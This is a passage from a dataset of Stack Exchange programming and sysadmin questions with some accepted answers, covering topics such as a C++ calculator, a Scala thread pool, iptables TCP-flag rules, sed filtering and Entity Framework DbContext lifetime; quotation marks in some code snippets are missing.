interaction during the installation. See Is it safe for my ssh user to be given passwordless sudo for `apt-get update` and `apt-get upgrade`? for some ideas about apt-get upgrade.Under recent Linux versions (kernel  3.8), any user can start a user namespace in which they have user ID 0. This basically allows a user to install their own distribution in their own directory."  } 
{  "id": "_codereview.146616"  , "question": "This is my first time using classes objects and functions. What can I improve on?#include <iostream>#include <conio.h>using namespace std;class functions{public:    void Body(){        cout <<  :: Welcome to Taylor's CALCULATOR! :: << endl;       }                   int Addition(int x, int y){        int ans = x + y;        return ans;    }           int Subtraction(int x, int y){        int ans = x - y;        return ans;    }           int Multiplication(int x, int y){        int ans = x * y;        return ans;    }           int Division(int x, int y){        int ans = x / y;        return ans;    }};int main(){int func;int x, y;functions key; //Objectkey.Body(); //Objectcout << What function do you want to use?  << endl;cout << 1 - Addition  << endl;cout << 2 - Subtraction  << endl;cout << 3 - Multiplication  << endl;cout << 4 - Division  << endl;cout << Input:  << endl;cin >> func;cout << endl;switch(func){    case 1: //Addition        cout << **ADDITION** << endl;        cout << Please enter first number:  << endl;        cin >> x;        cout << Please enter second number:  << endl;        cin >> y;        cout << x <<  +  << y <<  = ;         cout << key.Addition(x, y);        break;              case 2: //Subtraction        cout << **SUBTRACTION** << endl;          cout << Please enter first number:  << endl;        cin >> x;        cout << Please enter second number:  << endl;        cin >> y;        cout << x <<  -  << y <<  = ;        cout << key.Subtraction(x, y);        break;                  case 3: //Multiplication        cout << **MULTIPLICATION** << endl;           cout << Please enter first number:  << endl;        cin >> x;        cout << Please enter second number:  << endl;        cin >> y;        cout << x <<  x  << y <<  = ;        cout << key.Multiplication(x, y);        break;          case 4: //Division        cout << **DIVISION** << endl;         cout << Please enter first number:  << endl;        cin >> x;        cout << Please enter second number:  << endl;        cin >> y;        cout << x <<  /  << y <<  = ;        cout << key.Division(x, y);        break;    default:        cout << Invalid Input...;        break;}}"  , "title": "C++ calculator using classes"  , "tags": "c++;beginner;object oriented;calculator"  } 
{  "id": "_reverseengineering.11741"  , "question": "I have disassembled the exe in IDA 6.1 and I think I found a hand full of text files and was wondering how to go about dialing into the addresses and extracting the data. Here is what I foundI know how to code a bit in C and .net and thought maybe it would be possible with guidance. Thanks in advance"  , "title": "Can I extract .txt files from .exe if I know their addresses?"  , "tags": "ida;c#"  } 
{  "id": "_unix.203401"  , "question": "I have recently installed CentOS (into a machine with only one hard drive) and I would like to know how to Partition the main hard drive into two.As it is a fresh install there is no data to lose and I am using linux rescue from a live CD 50GB[/dev/sda            ] 25GB       25G[/dev/sda1][/dev/sda2]These are bogus numbers at the moment and I doubt the result will be what I expect but anything close or any ideas would be really great"  , "title": "CentOS 6 Partitioning Root Drive"  , "tags": "centos;partition;hard disk;split"  } 
{  "id": "_unix.349146"  , "question": "Question 1: are the following rules equal?iptables -t raw -A PREROUTING -p tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROPiptables -t raw -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROPQuestion 2: are the following rules equal?iptables -t raw -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROPiptables -t raw -A PREROUTING -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROPI'm new to iptables and I'm a bit confused because some tutorials suggest to use those four rules."  , "title": "iptables --tcp-flags"  , "tags": "iptables"  } 
{  "id": "_unix.388032"  , "question": "Trying to dual-boot Linux with windows 10. I formatted my flash drive with Rufus, then copied the 18.2 64-bit Linux mint Cinnamon file to the root of the drive. When I try to boot from the drive, it opens FreeDOS, and won't boot to the GUI. "  , "title": "Linux Mint Cinnamon won't boot to GUI, only FreeDOS"  , "tags": "linux mint;linux kernel;gui;freedos"  } 
{  "id": "_codereview.78357"  , "question": "I wrote the following that spawns n threads, uses them to process a queue of jobs, then returns a result.As well as any general suggestions, I'd like feedback on the following:How safe is SyncQueue? Previously, it went into a deadlock on inexpensive tasks, but I changed the notify to notifyAll, and I haven't had any problems since. I'd still like it looked at though.Is there a better way to delay execution of the jobs? I'm using an implicit to make the delay method available; but it would be nice to have it be completely implicit.Does the JVM prevent the stdout from interleaving? I remember back from c++ that outputting over different threads at once ending up creating a mess of interleaved text, but this doesn't. For the sole purpose of testing, is outputting text from several threads at once in any way harmful?SyncQueue.scala - A theoretically thread-safe, mutable FIFO queue:package threadPoolimport scala.collection.mutable.Queueclass SyncQueue[A] {    private val q: Queue[A] = new Queue    def nQueued: Int = synchronized {        q.length    }    def available: Boolean = synchronized {        nQueued > 0    }    def pop: A = synchronized {        if (!available) { wait; pop }        else q.dequeue    }    def push(x: A) = synchronized {        q enqueue x; notifyAll    }    def toList: List[A] = synchronized {        q.toList    }    def clearQ = synchronized {        q.clear    }}JobQ.scala - A wrapper over 2 SyncQueues that helps with adding jobs/collecting results:package threadPoolimport scala.concurrent._class JobQ[Result] {    type Job = () => Result    type PossibleResult = Either[Throwable,Result]    private val workQ = new SyncQueue[Job]    private val resQ = new SyncQueue[PossibleResult]    //So it knows when all jobs are finished    private var runningJobs = 0    //Waits until all started jobs are finished    def waitForJobsToFinish(checkDelayMS: Int) =        while(!allJobsFinished)            Thread sleep checkDelayMS    def allJobsFinished: Boolean = synchronized {        runningJobs == 0    }    def jobsAvailable: Boolean =        workQ.available    def resultsAvailable: Boolean =        resQ.available    def giveJob(job: Job) = synchronized {        workQ push job        runningJobs += 1    }    def giveJobs(jobs: Seq[Job]) =        jobs map (giveJob(_))    def getJob: Job =        workQ.pop    def giveResult(result: PossibleResult) = {        resQ push result        runningJobs -= 1    }    def getResults: List[PossibleResult] = {        val xs = resQ.toList        resQ.clearQ        xs    }}Worker.scala - The Runnable used by each thread. It forms an infinite loop of taking a job, processing it, and queuing the result:package threadPoolclass Worker[Result](jobQ: JobQ[Result]) extends Runnable {    def run = while (true) {        val job = jobQ.getJob //blocks until a job is made available        val result: Either[Throwable,Result] =            try {                Right( job() ) //Long computation            } catch { case e: Throwable =>                Left(e)            }        jobQ giveResult result    }}Timer.scala - Used to assist the timing in the test:package threadPoolimport java.util.Datecase class Timer(startTime: Long = new Date().getTime) {    private def curMs: Long = new Date().getTime    def restart: Timer = Timer(curMs)    def stop: Long = curMs - startTime    def lap: (Long, Timer) = { val curTime = curMs        (curTime - startTime,Timer(curTime))    }}object Timer {    def timeBlock(body: => Unit): Long = {        val t = Timer()        body        t.stop    }}ThreadPool.scala - Spawns the threads, and manages the queues:package threadPoolimport java.lang.Runtime._import scala.util.Random._object Implicits {    implicit class delayCall[A](body: => A) {        def delay: (() => A) =            () => body    }}class ThreadPool[Result](nThreads: Int) {    //By default, it spawns 1 thread per available processor    def this() = this(Runtime.getRuntime.availableProcessors)    type Job = () => Result    type PossibleResult = Either[Throwable,Result]    val jobQ: JobQ[Result] = new JobQ    val threads = 1 to nThreads map { _=>        new Thread( new Worker(jobQ) )    }    def start = threads map (_.start)    def giveJob(job: Job) =        jobQ giveJob job    def giveJobs(jobs: Seq[Job]) =        jobs map (giveJob(_))    def getResultsIfDone: Option[List[PossibleResult]] =         if(jobQ.jobsAvailable) None        else Some(jobQ.getResults)    def waitForResults: List[PossibleResult] = {            jobQ waitForJobsToFinish 500            jobQ.getResults        }}The Main - Just a sample case:object ThreadPoolTest extends App {    import Implicits._    val nThreads = 4    val nJobs = 10    val pool = new ThreadPool[Long](nThreads)    //Returns the time taken to execute, to be summed and compared later    def expensiveLong(id: Int): Long = Timer.timeBlock {            val s = scala.util.Random.nextInt(20000)            println(sStarting expensive task $id: ${s / 60000.0} minutes)            Thread.sleep(s)            println(s\\tEnding $id: Started ${s / 60000.0} minutes ago)        }    val jobs: List[() => Long] = (1 to nJobs).toList map { id =>        expensiveLong(id).delay    }    pool.giveJobs(jobs)    pool.start    var rs: List[Either[Throwable,Long]] = Nil    //timeBlock will time all the executions to compare against    val realTime:Long = Timer.timeBlock {        rs = pool.waitForResults    }    //Print results    println(rs)    //For this test, I'm having it crash on an error, because any exceptions would invalidate the results (sum of times taken)    val checkedResults: List[Long] = rs map {        case Left(e)    => throw e        case Right(r)   => r    }    val sum = checkedResults.            foldLeft(0L)(_+_)    println(sDone:\\n\\tTotal Time Needed:\\t${sum / 60000.0} minutes\\n\\tTime Spent:\\t\\t\\t${realTime / 60000.0} minutes)    println(((sum * 1.0) / realTime) + x faster)    println((realTime / nThreads / 1000.0) +  seconds per thread)}Since posting this, I've noticed a couple things:giveResult in JobQ isn't synchronized, which I believe is the cause of a deadlock problem I noticed when running inexpensive tasks (not actually a deadlock, but for the better part of today, that's what I was trying to diagnose).I saw a post that mentioned it's good practice not to lock on this, so in JobQ and SyncQueue, I switched to using a separate lock object (defined as class Lock)I haven't changed the above code though."  , "title": "A Simple Thread Pool in Scala"  , "tags": "multithreading;scala"  } 
{  "id": "_webapps.99245"  , "question": "Back in the days I was using Endnote to document references, e.g. if wikipedia was consulted it was possible to add a link to Endnote and this program was able to sort the references. At the moment I have to update the references all the time once a new references is added.DiscussionThis Q&A was found although this does not solve the issue, an issue was reported by using the send feedback button as described in one of the answers."  , "title": "Equivalent of EndNote in Google Docs in order to document references?"  , "tags": "google documents"  } 
{  "id": "_softwareengineering.311813"  , "question": "I am writing a small app that manages a couple of recipes. I have a MySQL database that is used by my data persistance layer. I need some kind of id in my business objects representing the recipes to use my persistence layer.Currently i am just calling SELECT LAST_INSERT_ID() on my database after i inserted a new recipe and then assign that id. In a project at my part time job we use a different approach. We generate the ids in our application before inserting and then use them from there.I think my current approach is better, because i only generate an int (the other application uses an id-generator that factors in time etc) which should be faster for lookups and i can scale the system for multiple applications (because i can put the insert and last_insert_id calls into the same transaction) and i can easily roll back, if something goes wrong while executing the transaction.Is my reasoning right? Or is there something im missing?"  , "title": "Generate id in application or use database generated one?"  , "tags": "design;mysql;dao"  , "accepted_answer": "Currently I am just calling SELECT LAST_INSERT_ID() on my databaseThis may give unwanted effects when your application is used by several users at the same time. (Another user could have inserted a new record in the table between the intended insert and the request for the id.) Unless you perform this request within the same database transaction.Most persistance layers will return the generated ID to use in your application. You should look up how this works in your chosen environment.Generating an ID in your application can have a similar effect if the last ID given out is requested from the database, incremented in software and then used to insert a new database record. However, if the ID generated in the application is guaranteed to be unique (more or less) by some mechanism, this is an acceptable approach.Assuming both approaches are safe for multi-user environments, both approaches can be acceptable. The points you name as advantages of your approach can also be applied to the approach of generating an ID. Both approaches can scale and both approaches can be rolled back in the database. An advantage the latter approach might have over the first, is that it is less dependent on the specific database engine. Thus if a different database engine is chosen at a later point, it may be easier to migrate the software to it (for instance because of differing syntax to request the last inserted ID)."  } 
{  "id": "_softwareengineering.143181"  , "question": "I've seen this in a lot of IDEs (even in the most popular and heavily used ones, like Visual Studio): if you want to watch a variable's value, you have to manually type its name in the Watches section of the debugger. Why can't there just be a list of all of them with checkboxes next to them ? The developer can then just check the box next to the one he wants to watch and that's it. Variables with identical names can probably be numbered in some way (for example a, b, x(1), x(2), c, etc.I've seen some exceptions to this (NetBeans or BlueJ), but there are exceptions to everything, right ?Maybe it's a stupid question, maybe not, but I've always wondered why this is so."  , "title": "Why do you have to manually type variable names while debugging?"  , "tags": "ide;debugging"  , "accepted_answer": "I've actually never seen an IDE (haven't worked with Visual Studio though) where the debugger didn't have a view that shows you all the the variables of the current stack frame. A watch expression view is provided separately because it allows you to have complex expressions (that may include method calls as well as variables) computed automatically."  } 
{  "id": "_cogsci.14157"  , "question": "When training fine motor skills, are identically setup practice sessions ideal or, like machine learning, does adding noise/variability to the practice session increase skill acquisition?"  , "title": "Effect of variability due during motor skill training"  , "tags": "cognitive psychology;learning;motor"  , "accepted_answer": "According to Motor Skills Are Strengthened through Reconsolidation (available through SciHub) adding variability to practice sessions increases learning speed. In the paper, patients were directed to move a cursor on a screen to certain targets via pinch force. Patients who's pinch force mapping was modified during each trial ended up learning faster and performing better on the original pinch task."  } 
{  "id": "_unix.287512"  , "question": "I am having an odd problem when i boot.It brings me to the recovery mode and tells me to press Ctrl-D or enter my root password.When I enter the root password, I mount my /dev/mapper/sdc1_crypt which is my /home drive. if I log out of the root shell it then launches lightdm and I can sign into my user account as if nothing happened.How can I fix it so i dont have to do this each time I boot?I'm using Debian."  , "title": "Linux boots to recovery mode, mounting /home and loging out brings up lightdm"  , "tags": "mount;login"  } 
{  "id": "_softwareengineering.287292"  , "question": "I have some source code I want to release but I'm unsure of the best license to put on it. From my research such licenses as MIT and GNU are horrible as they offer little to no protection towards crediting the original authors nor controlling distribution. GPL seems to provide some protection, but users are still allowed to modify the code and redistribute it as their own and I don't want that.What I want is relatively simple from my stand point.User/Licensee can: - Use source code - Compile source code - Modify source code for personal useUser/Licensee MUST (If I [Author] Allow distribution upon request): - Credit original author - Credit original hosting site - Link original hosting site's page with the code - NEVER claim or alter any credits, licenses, copyrights, etc, etcUser/Licensee cannot: - Distribute source code/Distribute it without author's written consent - Modify source code and release it - Create derivative works with source code - Use source code in other software - Remove/Alter copyrights, credits, licenses, etc, etc. - Sell source code - Sue/hold liable the original author in ANY way shape or form for anything (standard legal disclaimer and disclosure agreement - similar to MIT and others)This may seem unreasonably restrictive, but it's mostly to protect credits as I've had numerous people use my code in the past and claim it as their own or alter credits/copyrights or post it on sites that I don't want my work on.I've looked up some licenses that seem correct to implement, but from what I can see there are problems.MS-RSL - Restricts a lot of the clauses I have, but the user can't use the source code or can they? As it says, it's just reference material, yet they can use it for debugging/etc only. Can this license (or any) be slightly tweaked in it's terms/clauses?No License - Just a copyright, but this seems like an oxymoron in some degrees, what notice or other conditions does it specify so the user/licensee knows what's allowed/not? Can I specify my own clauses? Is this legal? Wouldn't this be tantamount to writing my own license?I found a site called Binpress where you can create your own licenses (or it seems so), but are these enforceable? There are clauses about payments and such which seem to contradict conditions. Licensees are allowed to distribute the code even when one selects No distribution so the conditions seem to be negligible. Anyone use this before?Anyone know of a license that will satisfy above requirements or any advice?P.S.I did read other topics on the matter, but found most to be circumstantial or very vague on some matters. I read an article by Jeff Atwood, but the article Pick a License, Any License seemed to just regurgitate everything I already know or found out via other sites. It doesn't offer any deep in-detail information, explain each license in-depth, or explain anything related to altering/using licenses. He compared licenses to other licenses which is useless because if I don't know what license X is then comparing to license Y is about as useful as speaking Chinese to me.Any advice or if anybody can answer the above questions it would be deeply appreciated. If you need me to give more detail then please let me know, but I think I have explained things well enough. :)"  , "title": "Licensing - Restrictive Open Source License OR Custom License"  , "tags": "licensing;open source;legal;source code;reference"  , "accepted_answer": "The basic idea behind open-source licensing is that anyone who has (legally) obtained a copy of the source code also has the right to make modifications and the right to distribute the modified or original work. The main difference between open-source licenses is in what rights you must give away when re-distributing the work.With one or two exceptions, all licenses require that at least the copyright and license statements must be kept intact. At most, you may add your own copyright statement if you made modifications1. The exceptions are when the work is placed in the public domain or an equivalent license (like CC0). Even a very permissive license like MIT requires that the license and copyright remain intact.If people don't respect the license terms, then it is possible to  take legal action against them for violating your Intellectual Property rights. At the very least, you can request them to re-instate your copyright and/or license.1. Copyright statements could be removed it it can be proven that all contributions by that copyright holder have been removed from the code.If you don't like that basic principle behind open-source that everyone can share the code, then you should use a proprietary/closed-source license. These licenses are typically specific for a particular product or manufacturer and are not easy to re-use by someone else. Your best option is to have a lawyer write a license that exactly fits your desires."  } 
{  "id": "_codereview.167460"  , "question": "I have written a simple code for Runge-Kutta fourth order integration to solve a system of ordinary differential equations and parallelized it using OpenMP. I don't know if it is the best we can do for maximum performance of the code with little effort.I need all values of to be returned, so I kept values in all steps.I also create threads in each time step and paralleled in position, i.e. pragma opm parallel is inside the loop over time.Here is my try: (link to gitlab repository)//RHS for a system of equationsvoid xprsys(const int n,const vector<double>& x, vector<double>& f){    /*     * n : number of equations     * x : value in each time step     * f : RHS of equtions dx/dt = f      */    double sum1=0;    #pragma omp parallel for reduction(+:sum1)    for (int i=0; i<n; i++){        sum1 = 0;        for(int j=0; j<n; j++)            sum1 += sin(x[j]-x[i]);        f[i] = M_PI + 2.0 * sum1;    }}void SolveRK4(const int n, double h,vector<double> x,     vector<vector<double>>& x_vec,           int nstep, vector<double>& times){    /*     * times : vector contains the time 0 : t_final step dt     * x_vec : [nstep by N] 2 Dimensional vector     * dim1  : defined as typedef vector<double> dim1     */    times[0] = 0.0;    dim1 y(n);    dim1 f1(n),f2(n),f3(n),f4(n);    double half_h = 0.5 * h;    double h_sixth = h/6.0;    // x_vec[nstepxN]    for (int i=0; i<n; i++)        x_vec[0][i] = x[i];    for (int k=1; k<nstep; k++){        times[k] = k*h;        xprsys(n,x,f1);        #pragma omp parallel for         for(int i=0; i<n; i++)            y[i] = x[i] + half_h * f1[i];        #pragma omp master        xprsys(n,y,f2);        #pragma omp barrier        #pragma omp for        for(int i=0; i<n; i++)            y[i] = x[i] + half_h * f2[i];        #pragma omp master        xprsys(n,y,f3);        #pragma omp barrier        #pragma omp for        for(int i=0; i<n; i++)            y[i] = x[i] + h * f3[i];        #pragma omp master        xprsys(n,y,f4);        #pragma omp barrier        #pragma omp for         for(int j=0; j<n; j++) {            x[j] = x[j] + h_sixth * (f1[j] + f4[j] + 2.0 * (f2[j] + f3[j]));            x_vec[k][j] = x[j];        }    }}"  , "title": "Runge-Kutta fourth order integration"  , "tags": "c++;performance;numerical methods;openmp"  } 
{  "id": "_codereview.103786"  , "question": "SummaryI am experimenting with a plugin pattern for a generic Python application (not necessarily web, desktop, or console) which would allow packages dropped into a plugin folder to be used according to the contract they would need to follow. In my case, this contract is simply to have a function called do_plugin_stuff(). I'd like the pattern to make sense for a system that sells plugins like the plugin store in Wordpress.Minimal Python plugin mechanism is a decent question (despite being 4 years old) with some very good discussion about Django (which I haven't used) and how it allows for a plugin to be installed anywhere via pip. I'd see that as a phase two, because it seems like a pip-based plugin pattern is (sweeping generalization probably not always true) most valuable for purely free (as in money) plugin store. If free (as in open source) plugins are sold for money in a store, if seems that pip would be a poor choice for installation because which people might pay for something they're about to get the source code for and use freely / redistribute, they might be unlikely to pay / donate for something they've already installed.Project StructureCodeIt's also on GitHub under my same username (PaluMacil) and I made a release tag of v1.0.0 to freeze the the repo at the code shown below.app/plugins/blog/__init__.pydef do_plugin_stuff():    print(I'm a blog!)app/plugins/toaster/__init__.pydef do_plugin_stuff():    print(I'm a toaster!)app/plugins/__init__.py(empty)app/__init__.pyfrom importlib import import_modulefrom os import path, listdirdef create_app():    app = Application()    plugin_dir = path.join(path.dirname(__file__), 'plugins')    import_string_list = [''.join(['.plugins.', d]) for d                          in listdir(plugin_dir)                          if path.isdir(path.join(plugin_dir, d))                          and not d.startswith('__')]    print(str(len(import_string_list)) +  imports to do...)    for import_string in import_string_list:        module = import_module(import_string, __package__)        app.plugins.update({module.__name__.split('.')[2]: module})    print(str(len(app.plugins)) +  plugins in the app)    return appclass Application:    def __init__(self):        self.plugins = {}The line not d.startswith('__') eliminated my pychache dir from Pycharm.run.pyfrom app import create_appfrom pprint import PrettyPrinterapp = create_app()app.plugins['toaster'].do_plugin_stuff()printer = PrettyPrinter(indent=4)printer.pprint(app.plugins.__repr__())Points for ReviewI'm new enough to Python (very new but coming from a decent C# background, and I read PEP8 before attempting this) that I've never written a Python 2 application. I think my method of importing requires Python 3.3 or 3.4, though I'm not certain. Commentary on this might be nice. Ways of making this code accessible to earlier versions of Python seem to be messy; they involve conditional imports and such, which are verbose and ugly. If there is a trick or two that would make my code better for different versions of Python with minimal cruft, that would be great to see.Am I missing anything that makes my code much more verbose than it should be? For instance, I'm iterating twice through the directories--once to make a list of packages, and again to make my dictionary. Would it be cleaner to make both parts one loop? The one-loop alternative seems verbose, but there could be further improvements, perhaps:# Alternative to current code which uses a single loop:for d in listdir(plugin_dir):    if path.isdir(path.join(plugin_dir, d)) and not d.startswith('__'):        module = import_module(''.join(['.plugins.', d]), __package__)        app.plugins.update({module.__name__.split('.')[2]: module})Is module.__name__.split('.')[2] a fragile way to get the value for my plugin dictionary? Would [-1] be a better index to use on the result of the split?I'm having trouble understanding why I might chose to use pkgutil.iter_modules instead of my approach, but I'm wondering if there might be some benefit. It seems to be based on importlib since Python 3.3 (PEP 302). Would the only difference be that I wouldn't pull in a folder that doesn't have an __init__.py inside it to make it a package?"  , "title": "Plugin Pattern for Generic Python Application"  , "tags": "python;plugin"  , "accepted_answer": "You shouldn't call str on the int returned from len, instead use str.format. {} plugins in the app.format(len(app.plugins))Format will coerce the int to a string implicitly and is neater to read.Also you're calling repr backwards. The whole point of an object having a __repr__ function is that it allows an object to be passed to repr(). So you could change app.plugins.__repr__() to repr(app.plugins)."  } 
{  "id": "_codereview.55983"  , "question": "I've written an asynchronous retry method as an answer for this question. I'd like to get your opinion of the implementation and whether there are better ways to implement this. You could also implement this with async-await but I thought this would be a more efficient implementation.public static Task RetryAsync(Func<bool> retryFunc, CancellationToken cancellationToken, int retryInterval){    var tcs = new TaskCompletionSource<object>();    var timer = new Timer((state) =>    {        var taskCompletionSource = (TaskCompletionSource<object>)state;        if (!taskCompletionSource.Task.IsCompleted)        {            try            {                if (cancellationToken.IsCancellationRequested)                {                    taskCompletionSource.SetException(new TaskCanceledException(RetryAsync cancelled));                }                else if (retryFunc())                {                    taskCompletionSource.SetResult(null);                }            }            catch (Exception ex)            {                taskCompletionSource.SetException(ex);            }        }    }, tcs, 0, retryInterval);    //// Once the task is complete, dispose of the timer so it doesn't keep firing.    tcs.Task.ContinueWith(t => timer.Dispose(),                          CancellationToken.None,                          TaskContinuationOptions.ExecuteSynchronously,                          TaskScheduler.Default);    return tcs.Task;}"  , "title": "Asynchronous retry method"  , "tags": "c#;task parallel library;async await;rags to riches"  , "accepted_answer": "You could also implement this with async-await but I thought this would be a more efficient implementation.When performance matters, don't guess, measure. When it doesn't matter (which is 97 % of the time according to some), write code that is readable and maintainable.Why do you think small increase in efficiency (most likely less than 1 ms) would matter here, when the retry interval is probably going to be hundreds of milliseconds or more (and can't effectively be less than 15 ms)?Func<bool> retryFuncConsider adding another overload that allows you to retry async functions (i.e. Func<Task<bool>> retryFunc).CancellationToken cancellationTokenIt might make sense to make this an optional parameter, some users might not need cancellation.int retryIntervalI think it would be better to use TimeSpan here, that way both your code and the code of your users becomes more clear. If you want to keep using int, document very clearly the unit used, possibly by even renaming the parameter to something like retryIntervalMs.You don't want to be the next Mars Climate Orbiter.When the CancellationToken is canceled, why do you wait for the timer tick to cancel the returned Task? You could use Register() to make sure the Task is canceled as soon as the CancellationToken is.if (!taskCompletionSource.Task.IsCompleted)What's the purpose of this check? If it's because you're worried that retryFunc might run longer than retryInterval, then I think your logic is flawed. When I have an operation that takes 1 minute to run and I ask for retry after 5 seconds, I probably don't want to have 12 instances of the operation running at the same time.You could achieve this by using Change().And even when you want this behavior, you should probably also switch to using TrySet versions of the TaskCompletionSource methods, to avoid unnecessary exceptions.if (cancellationToken.IsCancellationRequested){    taskCompletionSource.SetException(new TaskCanceledException(RetryAsync cancelled));}This way, the Task will be in the Faulted state. To get it to the correct Canceled state, use SetCanceled().//// Once the task is complete, dispose of the timer so it doesn't keep firing.tcs.Task.ContinueWith(t => timer.Dispose(),                      CancellationToken.None,                      TaskContinuationOptions.ExecuteSynchronously,                      TaskScheduler.Default);This closure is important also because it keeps the Timer rooted, so it prevents it from being GCed prematurely. I would expand the comment to explain that.(Also, why are you using four slashes for a comment? Two are enough.)"  } 
{  "id": "_hardwarecs.456"  , "question": "I'm looking for a HDTV capable of playing HEVC h.265 encoded videos from USB/PEN drive. Most of the HDTVs support h.264 standard but I could find any playing h.265 standard. More over it would be better if it has the below features (not necessarily but better if they are present)Multiple USB portsMultiple HDMI portsLED displayEthernet / Wifi support4K resolution class32 inches or higher3DMy price range is at most $1800 and it should not be an Android TV."  , "title": "HDTV with HEVC (h.265 / x.265) support?"  , "tags": "television;hdtv"  } 
{  "id": "_unix.28967"  , "question": "What libraries can be used for 3D graphics on Linux? Are there big differences for 3D graphics programming between Linux and Windows?I found about DirectX and OpenGl by searching, but I'm not sure that these are graphic libraries."  , "title": "Linux 3D graphic libraries"  , "tags": "linux;graphics;opengl"  } 
{  "id": "_unix.298663"  , "question": "I have a file that looks like the following:TITLE     Protein in water t=   0.00000REMARK    THIS IS A SIMULATION BOXATOM      1  N   SER A 107      20.799  63.728  25.985  1.00  0.00           NATOM      2  H1  SER A 107      21.658  64.259  25.980  1.00  0.00           HThis is a very large file: 1.6G and a little over 20 million lines. I would like to get the lines that do not start with ATOM and end with H and save them into another file. What would be the most efficient way to do this?"  , "title": "Extract lines from a large file that do not end with H into another file"  , "tags": "text processing"  , "accepted_answer": "Based on the clarification from the comments,sed -n '/^ATOM.*H$/!p' input > outputwill remove (not print) lines that start with ATOM and end with H from the file named input and print the rest of the lines into the file named output. The sed syntax goes, from left to right:-n -- don't print lines by default/^ATOM.*H$/ -- look for lines that start with ATOM, followed by any number of characters, ending ($) with H!p -- print lines that don't match the above patternA sample input file of:TITLE     Protein in water t=   0.00000REMARK    THIS IS A SIMULATION BOXATOM      1  N   SER A 107      20.799  63.728  25.985  1.00  0.00           NATOM      2  H1  SER A 107      21.658  64.259  25.980  1.00  0.00           HTITLE     Protein in water t=   0.00000HREMARK    THIS IS A SIMULATION BOXHATOM      1  N   SER A 107      20.799  63.728  25.985  1.00  0.00           NATOM      2  H1  SER A 107      21.658  64.259  25.980  1.00  0.00           Hresults in:TITLE     Protein in water t=   0.00000REMARK    THIS IS A SIMULATION BOXATOM      1  N   SER A 107      20.799  63.728  25.985  1.00  0.00           NTITLE     Protein in water t=   0.00000HREMARK    THIS IS A SIMULATION BOXHATOM      1  N   SER A 107      20.799  63.728  25.985  1.00  0.00           NA more direct sed syntax would be:sed '/^ATOM.*H$/d' input > outputwhich says:(print lines by default)search for lines that start with ATOM and end with Hdelete (don't print) those lines"  } 
{  "id": "_webapps.101161"  , "question": "Having trouble with the Date function. I'm using the form to confirm a date range and specific dates within that range. I see that Date Range is an option but not sure how to assign Date Values and Min/Max Values.I also want a date field that will allow users to input multiple specific dates using the calendar icon to the right of the date field.Are these things doable?"  , "title": "Cognito Forms: Date Range and Specific Dates"  , "tags": "cognito forms"  } 
{  "id": "_codereview.162934"  , "question": "I had a technical test with a simple CRUD application where I used n layered architecture as explained on the Patterns In Action book that I bought.However after delivering one of their feedbacks was the following.DbContext lifetime is completely wrong. (literally)I will copy the relevant files on this question, because I want to learn what I did wrong and if that product I bought has just problems conceptually.So, in my DataAccess class library I have this:namespace DataObjects{       // abstract factory interface. Creates data access objects.    // ** GoF Design Pattern: Factory.    public interface IDaoFactory    {        //Product Dao interface that must be implemented by each provider        IProductDao ProductDao { get; }        //Color Dao interface that must be implemented by each provider        IColorDao ColorDao { get; }        //Size Dao interface that must be implemented by each provider        ISizeDao SizeDao { get; }        //Category Dao interface that must be implemented by each provider        ICategoryDao CategoryDao { get; }        //File Dao interface that must be implemented by each provider        IFileDao FileDao { get; }        //File Error Dao that must be implemented by each interface        IFileErrorDao FileErrorDao { get; }    }}Then I have also this Interface using BusinessObjects;using System.Collections.Generic;namespace DataObjects{    public interface ICategoryDao    {        //Gets a list of categories        List<Category> GetCategories();        //Inserts one category         void InsertCategory(Category category);        //To verify if category exists        bool CategoryExists(string category);        //Get Category by name        Category GetCategoryByName(string category);    }}And now, in the EntityFramework namespace I have the following implementationsnamespace DataObjects.EntityFramework{    // Data access object factory    // ** Factory Pattern    public class DaoFactory : IDaoFactory    {        public IProductDao ProductDao => new ProductDao();        public IColorDao ColorDao => new ColorDao();        public ISizeDao SizeDao => new SizeDao();        public ICategoryDao CategoryDao => new CategoryDao();        public IFileDao FileDao => new FileDao();        public IFileErrorDao FileErrorDao => new FileErrorDao();    }}DaoCategory implementationusing AutoMapper;using System.Collections.Generic;using System.Linq;using BusinessObjects;namespace DataObjects.EntityFramework{    // Data access object for Product    // ** DAO Pattern    public class CategoryDao : ICategoryDao    {        /// <summary>        /// Inserts category into database        /// </summary>        /// <param name=category></param>        public void InsertCategory(Category category)        {            using (var context = new ExamContext())            {                Mapper.Initialize(cfg => cfg.CreateMap<Category, CategoryEntity>());                var entity = Mapper.Map<Category, CategoryEntity>(category);                context.CategoryEntities.Add(entity);                context.SaveChanges();                // update business object with new id                category.Id = entity.Id;            }        }        /// <summary>        /// Gets all categories from database        /// </summary>        /// <returns>Returns a list of Category</returns>        public List<Category> GetCategories()        {            using (var context = new ExamContext())            {                Mapper.Initialize(cfg => cfg.CreateMap<CategoryEntity, Category>());                var categories = context.CategoryEntities.ToList();                return Mapper.Map<List<CategoryEntity>, List<Category>>(categories);            }        }        /// <summary>        /// Verifies if one category name exists        /// </summary>        /// <param name=category>Category name</param>        /// <returns>Returns true if exists</returns>        public bool CategoryExists(string category)        {            using (var context = new ExamContext())            {                return context.CategoryEntities.Any(x => x.CategoryName == category);            }        }        /// <summary>        /// Gets color by name        /// </summary>        /// <param name=categoryName>color name</param>        /// <returns>Category</returns>        public Category GetCategoryByName(string categoryName)        {            using (var context = new ExamContext())            {                Mapper.Initialize(cfg => cfg.CreateMap<CategoryEntity, Category>());                var category = context.CategoryEntities.FirstOrDefault(x => x.CategoryName == categoryName);                return Mapper.Map<CategoryEntity, Category>(category);            }        }    }}"  , "title": "Simple CRUD application with n layered architecture"  , "tags": "c#;entity framework"  , "accepted_answer": "The problem is that Entity Framework's DbContext is really a unit of work. By newing them up inside each method you lose the ability to do several interesting things in the same transaction/unit of work in an easy way. You should be able to have multiple repositories (Dao in your parlance) using the same context/unit of work.Your code is also incredibly coupled to EF and you're violating the dependency inversion principle.This is the best write up of DbContext lifetime that I've ever read: Managing DbContext the right way with Entity Framework 6: an in-depth guide. Although you're not actually using any of the 3 main patterns discussed. If that Mapper is Automapper, that's also the wrong place to be configuring it and is a conflation of concerns."  } 
